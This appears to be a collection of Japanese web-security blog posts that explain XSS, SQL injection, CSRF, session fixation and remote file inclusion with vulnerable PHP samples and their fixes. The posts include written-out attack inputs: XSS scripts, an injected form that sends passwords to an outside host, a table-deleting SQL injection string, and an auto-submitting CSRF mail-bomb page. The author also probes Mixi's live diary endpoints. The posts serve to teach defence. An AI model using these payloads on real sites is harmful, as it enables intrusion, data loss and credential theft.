Parosとは、ローカルプロキシとして動作する脆弱性検査ツールです。
なんのこっちゃ?
ローカルプロキシは、ブラウザから直接インターネットに出て行かせず、いったんローカルプロキシというソフトウェアを経由して出ていく的な仕組みです。
まずはparos-(バージョン)-win.exeをダウンロードしてインストール。
執筆時の最新バージョンは3.2.13でした。
インストール後起動すると既にローカルプロキシとして活動しています。
次にブラウザの設定。
プロキシの設定項目に「localhost:8080」と指定します。
これで完成。
適当にブラウジングしてみると、Parosが通信状況を取得できていることがわかるはずです。
どうなってるの?
ブラウザに「localhost:8080」と書いたことで、適当なURLを開こうとしたときに直接そこに行くのではなく「localhost:8080」というURLをまず見に行きます。
そこにはparosが待ち構えており、いったんリクエストを取得し、それから実際のURLに飛んでいくという動作になります。
まあparosが中継所になるということです。
次に実際に脆弱性を検査してみましょう。
まずは脆弱性のあるサンプルを用意。
<?php header("Content-Type: text/html; charset=UTF-8"); if($_REQUEST['id']){ print('登録ありがとうございます。'); print('あなたのIDは' . $_REQUEST['id'] . 'です'); exit(); }else{ ?> <form method="POST" action=""> ID:<input type="text" name="id" value=""><br /> <input type="submit" name="submit" value="登録"> </form> <?php }今時こんな馬鹿なソースを書く人なんていませんが、あえて脆弱性のあるサンプルということで。
アクセスすると、まず入力画面、そして適当に値を入れて進むと登録完了画面が出ます。
そしてParosのログにはスクリプトへのPOSTが保存されているはずです。
次にTrap Requestの機能を試してみます。
入力画面を表示した後、「Trap」タブの「Trap request」にチェックを入れます。
その後フォームを送信しようとすると、送信がParosによって止められます。
「id=aaa&submit=%E7%99%BB%E9%8C%B2」といった送信内容がキャッチされ、そしてこれを自由に編集することができます。
「id=<script>alert("XSS");</script>」
などと変更し、「Continue」すると送信内容が改竄され、完了画面でXSSが発生します。
しかし、これだけだと手動でチェックしているのとあまり変わりません。
自動チェックを試してみます。
まず登録画面から適当に値を入力し完了画面まで遷移します。
そしたらAnalyse→Scan All。
完了したらReport→Last Scan Reportとすると、見つかった脆弱性や送信したパラメータ、修正方法などを自動でリストアップしてくれます。
今回は以下の脆弱性が見つかりました。
Medium (Warning) Cross site scripting
Medium (Warning) Directory browsing
Medium (Suspicious) Lotus Domino default files
あ、XSS以外にもなんか見つかった。
Directory browsingはディレクトリ内のファイル一覧が見えてしまうよ、というものです。
「Index of /」のようなやつです。
修正するには「Options -Indexes」を指定します。
http://httpd.apache.org/docs/current/mod/core.html
Lotus Domino default filesは誤検出です。
他の脆弱性検出ツールでも誤検出することがよくあります。
何かというと「http://example.com/?OpenServer」のようなURLが有効になっているというものなのですが、mod_rewriteとか使ってると普通に反応しちゃうことが多々あります。
実際アクセスしてみて問題無ければスルーでよいでしょう。
とまあこのように、簡単に脆弱性検査が行えます。
しかしディレクトリリスティングってXSSと同レベルの脆弱性なのか…
PHPをはじめとしたWebセキュリティ業界大御所の一人、徳丸浩氏による著作で、主にPHPとJavaScriptを中心としたWebアプリのセキュアな作り方を比較的具体的に解説してくれる本です。
同系統の書籍として「PHPサイバーテロの技法―攻撃と防御の実際」があり、基本的には現在でも通用する名著ですが、さすがに古いだけあって新しめの攻撃手法には対応していません。
また対象がPHP限定ということもあり、レースコンディション問題やDNSリバインディングといったPHPにはあまり縁のない問題は取り上げられていません。
本書はメインこそPHPですが、JavaやPerl等他の言語についてもフォローがなされており、また同一生成元ポリシーや携帯サイトのセキュリティ、不要なサービスなどといった幅広い分野でのセキュリティ対策にも言及されています。
またVMwareのイメージが添付されており、指示に従ってインストールするだけで簡単にすぐ仮想マシン実行環境ができあがります。
私はXAMPPを使うことが多いのですが、XAMPPはWindows上の実行環境なので、Linuxコマンドなどは全く使用できません。
Linuxをそのまま扱えるVMwareがあると非常に便利です。
SQLインジェクションにはプレースホルダを使えとされており、エスケープについては無かったことレベルの扱いになっています。
このようにネットに溢れる俗説よりも"より正しいと思われる"対処法が書かれており、他のセキュリティ対策についてもググって怪しい手段を試すより遙かに安全で確からしい解法だと思われます。
あと他のセキュリティ対策書ではなかなか見たことのない開発マネジメントの話まで出てきます。
そこまで来ると話が広すぎて一介のPGにはあまり関係のない領域になってくるのですが、開発プロセス上でのセキュリティ対策の扱いなど参考になることもあるかもしれません。
さて、なんで発売もされてない本についてそんなに知っているかというと、まあなにげにしれっとレビュアーの一人として参加していました。
主に著者と私以外のレビュアーのおかげで、Webアプリのセキュリティについて一通り以上のことが学べる本になっています。
「とりあえずある程度のプログラムが作れるようになった、次はどうしよう」というあたりで目を通しておくと、今後Webアプリを作成するうえでためになるでしょう。
余談ですがここのNGワードって文字判定が厳格すぎてかえって役に立たないんですよね。
"sakura.ne.jp"をNG設定して"sakura%2ene%2ejp"が通るってどうなのよ。
さて、本ブログの訪問者はリファラを取得できる範囲では9割方GoogleやYahoo等検索エンジンからの訪問です。
"jquery アップロード プレビュー"とか"cakephp paginator"などといった技術系のワードがほとんどです。
たまに"こえでおしごと パスワード"とかもいるけどな。買えよ。
ですので検索エンジン以外からの訪問は目立ちます。
そんだけリンク貼られてる数が少ないってことですがね(´・ω・`)
で、先日なんとなく訪問履歴を眺めていたところ、まったく見覚えのないアドレスを発見。
http://38.110.146.181/auto_comment/comment_log.php?user_id=53&pY=2010&pM=10&pD=12&fY=2010&fM=10&fD=12&c_url=0&search=1&p=5
URLからして胡散臭すぎる。
ちょっと覗いてみる。
いやあ、なんだこれ。
どう見てもコメントスパム投稿システムです。
本当にありがとうございました。
認可制御どころかBASIC認証すらかけずに担当者名明記とか漢らしいにも程があるわ。
はい、このサイトからのSPAM投稿だということが確定しました。
こっち側のログは削除してしまったので残念ながら照合は出来ませんが。
※認証制御を行っていないので、サイトを覗いても不正アクセスにはあたりません。
他山の石他山の石。
対岸の火事?
2009/12/08
セブンネットショッピングオープン
http://www.7netshopping.jp/all/
2009/12/09
一部商品で価格誤表記等の問題。
http://www.itmedia.co.jp/news/articles/0912/09/news054.html
2009/12/10
フリーダイヤルと言っていたカスタマー番号が実はフリーダイヤルではなかったことが発覚。
ということらしいんですが、そもそも連絡先が見あたらないんですが何処に?
2009/12/13
個人情報流出。
http://www.kajisoku.net/1/archives/eid251.html
URLを入力するとパスワード入力をパスして履歴を見ることができる仕組みというのは実のところよくある話です。
ただ、普通はランダムなURLを作成するなりハッシュ関数を通すなりして、第三者からはほぼわからないURLを作成することが一般的。
セブンの場合は注文番号を単に置換しているだけだったので、他者の注文番号を推測できれば簡単に閲覧を行うことができた。
2009/12/14
XSS脆弱性が発覚。
http://www.kajisoku.net/1/archives/eid261.html
簡単に言うと、うまいことリンクを作れば偽のパスワード入力画面などを作成することができ、ログイン情報を盗むことができるという脆弱性である。
偽といっても本物と全く同じ画面にすることができる(ただしURLが緑色になるのは真似できない)ので、URLをよく見てチェックしないと気付くことができません。
XSSが発覚した時点で一旦サイトを閉鎖するのが正しい対応なのだが、セブンは気にせずに付け焼き刃な対応で営業を続ける。
2009/12/15
セブンアンドワイ時代の個人情報がGoogle検索に引っかかっていた。
http://www.kajisoku.net/1/archives/eid272.html
2009/12/17
ディレクトリトラバーサルによりソースコード流出。
http://www.kajisoku.net/1/archives/eid284.html
Subversion配下のファイルが外部から閲覧できるようになっていた。
# Copyright(C) 2001 by e-Shopping! Books CORP.
# Copyright(C) 2001 by e-Commerce Technology CORP.
esBooksとはなんとも懐かしい名前だ。
そんなにセキュリティが重要視されていなかった時代の遺物を使い続けていたので今になってこんなことになっているのではなかろうか。
2009/12/18
セブンネットショッピング側がXSS対策を発表。
http://www.itmedia.co.jp/news/articles/0912/18/news100.html
>セブン&アイグループが12月8日にオープンしたECサイト「セブンネットショッピング」のソースコードが流出したとネットで騒ぎになっている。同サイトの広報担当者によると、流出したのは「検証で使っていたデモ用コードで、本番用のものではない」。個人情報流出の可能性もないとしている。
>同サイトについては14日ごろから、XSS(クロスサイトスクリプティング)脆弱性も指摘されていた。「個人情報を扱うページではXSS脆弱性はなく、個人情報の流出はないが、そうでないページに脆弱性があった」とし、15日までに対策を取ったという。
>また12月14日ごろまで、セブンネットショッピングの前身・セブンアンドワイのユーザーの注文情報3件がGoogleなどで検索すると表示できる状態になっていた。閲覧できたのは「公開ブックマークなどにURLを登録していた3件」の注文情報の一部で、この問題にもすでに対処しているという。
勿論全部嘘。
どう見てもはてブのURLではない。
http://www.kajisoku-f.com/dd/img09/img2015_2.jpg
2009/12/18
XSS対策できていなかった。
http://www.kajisoku.net/1/archives/eid293.html
即日新たなXSS脆弱性を指摘される。
またセッションハイジャックも可能では無かろうか、との指摘もある。
このあたりでひとまず沈静化しましたが、結局抜本的対策は取られなかったので他にどんな穴が眠っていることやら。
たとえばとりあえず誰も指摘していないみたいなんだけど、
お問い合わせフォームが一切のバリデートもエスケープもされていないという酷い代物。
しかもセッション使わず確認画面からhiddenで飛ばしているという今時のフォームでは絶対に有り得ない作り方。
俺がこんなもの作ろうものなら始末書ものだわ。
ちなみにDoda配下にある採用フォームはしっかりと対策がされていました。
また、ソースを見ると、<input type="hidden">が地獄のように並んでいます。
渡す意味が全く無いであろうタイトルやコメントから、リンク先URLすらhiddenで渡している始末。
こんな出鱈目な出力を行っている時点で技術力がないのが丸わかり。
こんなので今日もTVCMを行っているのだから恐れ入る。
http://www.atmarkit.co.jp/fsecurity/column/kawaguchi/013.html
>痛くもない腹を探られる
これが最大の問題点だと思うんですけどね。
今回のように、実際は腹が痛かったということもありますし。
XSS程度の単純な攻撃すら防げていない
↓
他にも脆弱性があるかもしれない
↓
ディレクトリトラバーサル、ソースコード流出など次々に発覚
上記問い合わせフォームについて指摘し、2ちゃんねるに書き込んだところ、翌日には見事に対策されていました。
対策(笑)
この程度一時間で直せ。
Remote File Include攻撃とは、外部から任意のPHPスクリプトを実行させることができてしまうという攻撃です。
allow_url_includeディレクティブを利用します。
allow_url_includeは、require_once()等で任意のURLをインクルードできるというディレクティブです。
他所にあるAPIを取得したいといった場合に、簡単にインクルードすることができます。
さて、これがどう脆弱性かというと、require_onceの引数にうっかりユーザ入力値が紛れ込んでしまうと大変なことになるわけです。
引数に'php://input'と入れられると、POSTで送られてきたPHPコードが実行されてしまいます。
穴を完全に塞ぐためにはallow_url_includeをオフにする必要がありますが、PHP_INI_SYSTEMのためini_setでは設定不可能です。
そもそもallow_url_includeのデフォルトは0のため、あえて1にしてあるということは何か理由があるのでしょう。
アプリケーション側で対策を行わなければなりません。
まあ、それ以前にrequire_once()に入力値なんか使うなという話ですが。
register_globalsがオンだったりするとうっかり引っかかってしまう可能性もありますので、require_once()の引数となるパスは__FILE__等信頼できるものを使用するか、あるいはコンフィグファイルなどでdefine()しておくと安全です。
そういやinclude_pathにURL入れたらどうなるんだろう?
さて、こちらの解説記事では、'php://input'ではなくURLをインクルードした際、あたかもrequire_onceを実行した側でPHPコードが実行される的なことが書いてあるのですが、試してみた結果では単に実行結果が取得されただけでした。
要するに、単にfile_get_contentsしてprintしたのと同じような動作をしたということです。
別に呼び出し元で定義した変数を呼び出し先で参照できるということもなく、逆に呼び出し先で定義した変数を呼び出し元で参照することもできませんでした。
まあ勿論想定と全然違うファイルがincludeされることで問題はありますし、呼び出し先でフィッシング的なコードを書くことで詐欺に使えるかもしれませんが、サーバの情報を盗み出せるというのがいまいちわからないんですが。
ターゲットサーバにアップローダ等が存在し、どうにかしてPHPファイルのアップロードに成功した場合、そのファイルをインクルードさせることで情報を入手することが可能になりますが、言ってることは違う感じですし。
それとも、どこか他に設定を行ったら本当に呼び出し元で呼び出し先に書いてあるコードが実行されてしまうのでしょうか?
※2010/12/23追記
取消線部分は間違っているので新記事を参照してください。
セッションの仕組みは単純なキーの受け渡しとなっています。
session_startを呼んだ時点で、リクエストにセッションIDが含まれていたらそのIDを使用、セッションIDが無ければ新しく適当なセッションIDを作成します。
セッションIDは基本的にcookieに突っ込まれ、ブラウザへ返されます。
$_SESSIONに突っ込んだ値は、サーバ上のどこかに'sess_セッションID'のような名前のファイルとして保存されます。
再度アクセスがあり、そのときにリクエストにセッションIDがあればファイルに保存されたセッションファイルを読み出す、という仕組みです。
ここで問題となるのが、「リクエストにセッションIDが含まれていたらそのIDを使用」の部分です。
存在しないセッションIDを無理矢理くっつけた上でリクエストを出した場合、PHPはそのセッションをあっさりと受け入れてセッションを継続してしまいます。
これがセッション固定攻撃の原因です。
セッションは基本的にcookieに突っ込まれるのですが、携帯電話等cookieが保てないブラウザに対応するために、URLにセッションIDを含むことも出来ます。
session.use_trans_sidやuse_cookies等のディレクティブで設定できます。
デフォルトでは無効ですが、携帯電話用コンテンツを表示するために有効にしていた場合、
http://example.com/index.php?PHPSESSID=123456789abcdef
というリンクを踏んでしまったら、誰がアクセスしてもセッションIDが123456789abcdefだと判断されます。
123456789abcdefというセッションファイルが見つからなかった場合、PHPは新しくそのセッションIDでセッションを作成してしまいます。
これを利用すると、他者にセッションIDを付加したURLでアクセスさせ、自分でも同じURLでアクセスすると他者のセッションの中身を覗き見ることが可能になります。
session_fix.php
1
2
3
4
5
6
7
8
9
10
11
|
//セッション固定攻撃のシミュ
ini_set('session.use_trans_sid',1);
ini_set('session.use_cookies',0);
ini_set('session.use_only_cookies',0);
session_start();
if(isset($_REQUEST['param'])){$_SESSION['param']=$_REQUEST['param'];}
var_dump(session_id(),$_SESSION);
|
session_fix.php?param=hoge&PHPSESSID=123456789abcdef
でアクセスすると、セッションIDが'123456789abcdef'になっているのが確認できます。
ここで、別のPCから
session_fix.php?PHPSESSID=123456789abcdef
でアクセスすると、他人には見えてはならないはずの$_SESSION['param']の値が見えてしまいます。
これが例えばログイン情報をセッションで管理している会員サイトのようなシステムで起これば、自分はログインしていないのに他者のログインしたセッションを利用して会員サイトにアクセスできてしまいます。
直接$_SESSIONの中は覗けないので具体的なIDやパスワードが直接漏れるようなことが無いのが唯一の救いですが、パスワード再発行フロー等を利用してアカウントを乗っ取ったり、ディレクトリトラバーサル等別のセキュリティホールと組み合わせて個人情報を抜き取ったりといった攻撃も可能であるため、セッション固定攻撃自体を排除するようにしなければなりません。
このような場合のためにセッションIDを再発行することの出来るsession_regenerate_idが用意されています。
session_regenerate_idで新しいセッションを発行できますが、古い内容があった場合は削除せずにそのまま残してしまいます。
プログラム中でsession_regenerate_idを呼ぶとその場でセッションIDが変更されます。
アクセスしたユーザはその後は変更後のセッションIDでアクセスすることになるのですが、その前にアクセスしていたセッションIDが'123456789abcdef'の情報はそのままになっています。
その場合攻撃者は、古い内容ではありますが'123456789abcdef'のセッションの内容を取得できてしまいます。
PHP5.1以降ではsession_regenerate_id(true)で古いセッションを削除できるようになりました。
が、それ以前のバージョンでは、それまでのセッションを手動で削除しなければなりません。
session_destroy.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
//PHPSSID有効化
ini_set('session.use_trans_sid',1);
ini_set('session.use_cookies',0);
ini_set('session.use_only_cookies',0);
//古いセッション削除
session_start();
$old_session=$_SESSION;
session_destroy();
//新しいセッション
session_start();
session_regenerate_id();
$_SESSION=$old_session;
|
session_destroy()で現在のセッションを全て削除することが出来ます。
セッション内容が消えてしまっては困るので、一旦変数に確保します。
ただしセッションID自体はそのままになっているので、session_regenerate_id()で変更します。
最後に確保しておいたセッション内容を新しいセッションに書き込めば、古いセッションを削除しつつ新しいセッションに移行することが出来ます。
他にセッションファイルを物理的に削除する方法などもありますが、session_destroy()を使用した方が手っ取り早いと思います。
まあsession_set_save_handler()でセッション乗っ取るのが一番なのでしょうけど。
クロスサイトリクエストフォージェリの続きです。
今回の話は、Mixiに常時ログインできるようになっていないとうまくいきません。
ニコニコ動画の右上あたりに、ブログに貼り付けボタンがあります。
<OPTION value=mixi|http://mixi.jp/favicon.ico|http://mixi.jp/proxy_post_video.pl?pid=NC&vid=sm9&video_title=%E6%96%B0%E3%83%BB%E8%B1%AA%E8%A1%80%E5%AF%BA%E4%B8%80%E6%97%8F%20-%E7%85%A9%E6%82%A9%E8%A7%A3%E6%94%BE%20-%20%E3%83%AC%E3%83%83%E3%83%84%E3%82%B4%E3%83%BC%EF%BC%81%E9%99%B0%E9%99%BD%E5%B8%AB selected>mixi</OPTION>
ちょっと試してみましょう。
ブラウザのURLに、
http://mixi.jp/proxy_post_video.pl?pid=NC&vid=sm9&video_title=%E6%96%B0%E3%83%BB%E8%B1%AA%E8%A1%80%E5%AF%BA%E4%B8%80%E6%97%8F%20-%E7%85%A9%E6%82%A9%E8%A7%A3%E6%94%BE%20-%20%E3%83%AC%E3%83%83%E3%83%84%E3%82%B4%E3%83%BC%EF%BC%81%E9%99%B0%E9%99%BD%E5%B8%AB
見事、新規日記の本文に内容が書き込まれています。
勿論ニコニコ動画はMixiのアカウント情報など知りませんし、URLにもそのようなものはありません。
URLを見るとproxy_post_video.plにパラメータを渡せばいいようです。
通常日記を書くのはadd_diary.plですから、外部からパラメータを送信すれば新たな日記を作成するようなプログラムを作成したようです。
かつてMixiには、外部から簡単に日記を作成できるというCSRF脆弱性そのものが存在していました。
http://www.atmarkit.co.jp/fsecurity/column/ueno/33.html
現在は対処されているということになっています。
どのように対策されているのでしょう。
通常日記を書くときの流れを順番に見てみましょう。
まず最初の日記を書くリンク。
<a href="http://mixi.jp/add_diary.pl?id=9999999">日記を書く</a>
普通にリンクが張ってあるだけです。
試しにIDを書き換えてみるとアクセスできません。
内部的にセッションで監視しているようです。
次に日記作成画面。
<form name="diary" method="post" enctype="multipart/form-data" action="add_diary.pl"> <input type="hidden" name="news_id" value=""> <input type="hidden" name="campaign_id" value=""> <input type="hidden" name="invite_campaign" value=""> <input type="hidden" name="id" value="9999999"> <input type="hidden" name="news_title" value=""> <input type="hidden" name="news_url" value=""> <input type="hidden" name="movie_id" value=""> <input type="hidden" name="movie_title" value=""> <input type="hidden" name="movie_url" value=""> <input type=hidden name=submit value=main> <input value="" name="diary_title" class="editareaWidth" size="40" /> <textarea name="diary_body" cols="65" rows="20" id="diaryBody"></textarea> <input type="file" size="40" name="photo1" /> <input type="file" size="40" name="photo2" /> <input type="file" size="40" name="photo3" /> <input type="checkbox" name="orig_size" checked="checked" id="origSize" /> <select NAME=tag_id><optgroup label="標準の公開設定"><option value="0" selected>全体に公開</option></optgroup><optgroup label="個別の公開設定"><option value="1" >非公開</option><option value="2" >友人まで公開</option><option value="3" >友人の友人まで公開</option><option value="4" >全体に公開</option></optgroup></select> <input type="submit" class="formBt01" value="入力内容を確認する" /> |
よくわからないパラメータがたくさんありますが、重要なのはdiary_titleとdiary_body、そしてtag_idでしょうか。
よく見ると送信先がadd_diary.plと、最初のURLと同じになっています。
いずれかのパラメータで振り分けているのでしょう。
次に送信確認画面です。
<form action="add_diary.pl" method="post"> <input type="hidden" name="submit" value="confirm" /> <input type="hidden" name="packed" value="" /> <input type="hidden" name="post_key" value="123456789abcdef0123456789abcdef0" /> <input type="hidden" name="news_id" value="" /> <input type="hidden" name="campaign_id" value="" /> <input type="hidden" name="invite_campaign" value=""> <input type="hidden" name="id" value="9999999" /> <input type="hidden" name="diary_title" value="タイトル" /> <input type="hidden" name="diary_body" value="本文" /> <input type="hidden" name="news_title" value="" /> <input type="hidden" name="news_url" value="" /> <input type="hidden" name="movie_id" value="" /> <input type="hidden" name="movie_title" value="" /> <input type="hidden" name="movie_url" value="" /> <input type="hidden" name="tag_id" value="0" /> <input type="submit" class="formBt01" value="作成する" /> </form> |
<input type=hidden name=submit value=main>
<input type="hidden" name="submit" value="confirm" />
名前からしてこのパラメータが怪しいですね。
内部的にここで振り分けていると思って間違いないでしょう。
では試してみましょう。
上のソースをメモ帳に貼り付けて、action="http://mixi.jp/add_diary.pl"と書き換えます。
ボタンを押すと、文字化けこそしていますが見事に日記が作成されました。
というわけで外部から日記を一気に書き込む条件がわかりました。
以上のパラメータを適切に設定してやればよいということになります。
同時にMixiのCSRF対策が判明しました。
submit=confirmのとき、すなわち日記作成の確定処理の際に、正しいidとpost_keyを一緒に送信しないといけないようにしてあります。
試しにどちらかを変更すると、日記の作成に失敗してしまいます。
現在のMixiに対してCSRFを行うためには、何処からかidとpost_keyを取得してこなければなりません。
さて、これを一体どうすればいいでしょうか。
リンクで飛んだ先から、リンクを踏んだ者のidを取得するのはちょっと困難です。
そのリンクを貼っている者のidは簡単に取得できますがあまり意味がありません。
ましてやpost_keyなどどうやって取得したものか。
cookieさえ覗ければ簡単ですが、Mixiで取得したcookieは、通常Mixi以外に開示されることはありません。
ちょっと現在の技術力では手の出しようがないみたいです。
なにやらCSRFの説明というよりMixiの穴探しになりましたが、CSRF対策を忘れるとどうなるか、そしてCSRF対策の方法はなんとなくわかったのではないでしょうか。
とりあえずは実例で見てみましょう。
http://yuubiseiharukana.creativeroot.jp/php2/php2-3-1.php
<html> <head> </head> <body> <form method="GET" action=" <?php print(htmlspecialchars($_SERVER['SCRIPT_NAME'])); ?> "> <input type="text" name="data"><br /> <input type="submit" value="送信"> </form> <hr> <?php if($_GET['data']){ $x=htmlspecialchars($_GET['data']); print($x); } ?> </body> </html> |
ただ単に送られてきたフォームを表示するという内容です。
フォームがGETなので、
http://yuubiseiharukana.creativeroot.jp/php2/php2-3-1.php?data=あいうえお
と入力すればいきなり結果画面を表示できます。
さて、上のURLへのリンク、これがクロスサイトリクエストフォージェリそのものです。
これは単に表示するだけのプログラムだから特に問題が無かっただけであって、フォームの内容によっては大変なことになります。
http://yuubiseiharukana.creativeroot.jp/php2/php2-3-2.php
<html> <head> </head> <body> <form method="GET" action="<?php print(htmlspecialchars($_SERVER['SCRIPT_NAME'])); ?>"> <select name="to"> <option value="webmaster@xxx.jp">管理者 <option value="userA@xxx.jp">利用者A <option value="userB@xxx.jp">利用者B <option value="userC@xxx.jp">利用者C </select> メールアドレス:<input type="text" name="from"><br /> 本文:<input type="text" name="data"><br /> <input type="submit" value="送信"> </form> </body> </html> |
時々見かける、送信先を選択できるタイプのメールフォームです。
何も考えずにこれを実装していた場合、
http://yuubiseiharukana.creativeroot.jp/php2/php2-3-2.php?from=匿名&data=メールボム&to=aaa@yyy.jp,bbb@zzz.jp,ccc@vvv.jp
というリンクを踏ませるだけでメールを送信できてしまいます。
メソッドがGETのせいだから問題なのだ、POSTならURLを作れないから問題ない、かと思えばそういうこともありません。
http://yuubiseiharukana.creativeroot.jp/php2/php2-3-3.html
<form action="php2.php" method="POST"> <input type="hidden" name="from" value="匿名"> <input type="hidden" name="data" value="メールボム"> <input type="hidden" name="to" value="aaa@yyy.jp,bbb@zzz.jp,ccc@vvv.jp"> </form> <script>document.forms[0].submit();</script> |
こんなフォームを作って適当な場所にアップロードしてしまえば、このリンクを踏んだ時点でメールが送信されてしまいます。
むしろ見た目普通のhtmlなのでより悪質になったというべきでしょう。
あまつさえこのフォームをwhile(1)で繰り返したりしてしまえば、本物のメールボムの完成です。
対処法はいくつかありますが、最初にすべきなのはリクエスト元URLの限定です。
最初のphp1.php以外からのリクエストは受け付けないようにしてしまえば、少なくともリンクを踏ませるだけの攻撃に簡単に引っかかることはありません。
また、selectやcheckboxなどのフォームでは、本来ありえないはずの入力もチェックする必要があります。
もっと言うと、フォームで直接メールアドレスを扱うべきではありません。
フォーム側からは適当なパラメータを渡し、プログラム側で正しいメールアドレスに変換を行うなどの処理を行いましょう。
さて今回のはまだまだ本物のCSRFとは言いがたいので、次回は認証サイト内にも潜り込める、CSRFの本格的利用例でも。
さて今回はSQLインジェクションの話。
名前のとおりデータベースに関する脆弱性です。
まずは例によって悪例から。
フォーム部分やSQL実行部分は書いていませんので適当なものがあると思ってください。
sqli.php
<!-- パスワードをチェックするプログラム --> $name=$GET['name']; $pass=$GET['pass']; $sql='SELECT * FROM user-data WHERE name='.$name.' and pass='.$pass; |
$nameでユーザ名を、$passでパスワードを取得して、
データベースと照合するという簡単なログインフォームです。
さて誰かがユーザ名「xxx」パスワード「yyy」でログインしてきた場合、
SQL文は次のようになります。
SELECT * FROM user-data WHERE name=xxx and pass=yyy
nameがxxxであり、passがyyyである人が検索されます。
想定通りに動作しました。
悪意のあるユーザがユーザ名「aaa」パスワード「aaa or 1=1 limit 1」
と入力したとします。SQL文は、
SELECT * FROM user-data WHERE name=aaa and pass=aaa or 1=1 limit 1
SQLではandのほうが優先されます。上のSQLは
SELECT * FROM user-data WHERE ( name=aaa and pass=aaa ) or 1=1 limit1
と解釈されます。
1=1は常に真なので、このSQL文は「user_dataテーブルの一番上の人の情報」を意味します。
ユーザ名もパスワードもわからないのにログインできてしまいました。
非常に重大な欠陥ですね。
さて、もっと悪意のある人が、
ユーザ名「aaa」パスワード「aaa;DELETE FROM user_data;」
と入力してきました。SQL文は、
SELECT * FROM user-data WHERE name=aaa and pass=aaa;DELETE FROM user_data;
user_dataテーブルが綺麗さっぱり消滅してしまいました。
こんなに簡単にわかる危険性でありながら、
対策を怠り被害に遭うサーバが後を絶ちません。
有名どころでは価格.com等も個人情報を盗まれています。
PHPでの対策としては、自力でエスケープもできますが、
対策を行ってくれるライブラリを使用するのが最も安全でしょう。
使用法はまたそのうち。
次回はセッション乗っ取りでも・・・と言いたいところですがちょっと理解しきれてないので微妙。
とりあえず以下のプログラムを見てください。
あえて不完全にしてありますが、それでも決してアップロードしないように。
xss.php
<!-- テキストエリアの文字を表示するプログラム --> <form method="GET" action="./xss.php"> <input type="text" name="入力"> <input type="submit"> </form> <br /> <?php print($_GET['入力']) ?> |
まずform,inputタグで任意のテキストを入力します。
そのテキストの送り先はaction="./xss.php"、つまりこのプログラム自身です。
次にPHPのprint関数で文字を表示します。
説明は別のところでしますが、$_GET[]という変数は、
フォームの入力データのことを示します。
つまり、フォームに入力されたデータをただ単に表示する、それだけのプログラムです。
さてこのプログラム、セキュリティ的に重大な欠点があります。欠陥品です。
入力フォームに具体的データを入れてみましょう。
「Hello,world」
↓
フォームの下に「Hello,world」と表示されるだけです。
「<b>Hello,world</b>」
↓
Hello,worldが太字で表示されます。つまり<b>タグがブラウザで解釈されてしまっています。
これを利用すると、いろんな危険行為が可能となってしまいます。
「<script>alert("Hello,world");</script>」
↓
JavsScriptが実行され、ダイアログボックスが表示されます。
「入力が認識できませんでした。パスワードを再度入力して下さい。<form method="POST" action="http://www.hogehoge.com/index.cgi"><input type="text" name="入力"><input type="submit"></form>」
↓
うっかりパスワードを入力してしまった場合、パスワードが別のサーバに送信されてしまいます。
実際はGETの文字数制限の為動きませんが、だからといって危険を残しておいてはいけません。
またこのプログラム、データをGETで送っているので別の問題があります。
GETというのはamazonとかでよく見るURLの後に?○○=××というやつで、
あれでサーバに対して情報を送ることが出来ます。
というわけでxss.phpにアクセスするとき、
xss.php?入力=Hello,world
とアドレス欄に入力するとHello,worldが表示されます。
というわけで悪意を持った人が
xss.php?入力=<script>while(1){document.write("Hello,world");}</script>
というアドレスに対してリンクを張ると、
そのリンクを踏んだ人のブラウザが死にます。
以上の話はクロスサイトスクリプティングという有名な脆弱性で、
これの対策が行われていないと話にならない、というレベルです。
まあ回避方法も色々あって、たとえば上記のxss.phpでは
print(htmlspecialchars($_GET['入力']))
と書くだけでほぼ無問題になります。
それどころかライブラリを使用すれば、
一切対策を気にしなくていいなんてものすらあるのですが、
とりあえずプログラムを書く上ではこのような脆弱性の話は
一般常識として知っておかねばなりません。
次回はSQLインジェクションの話でも。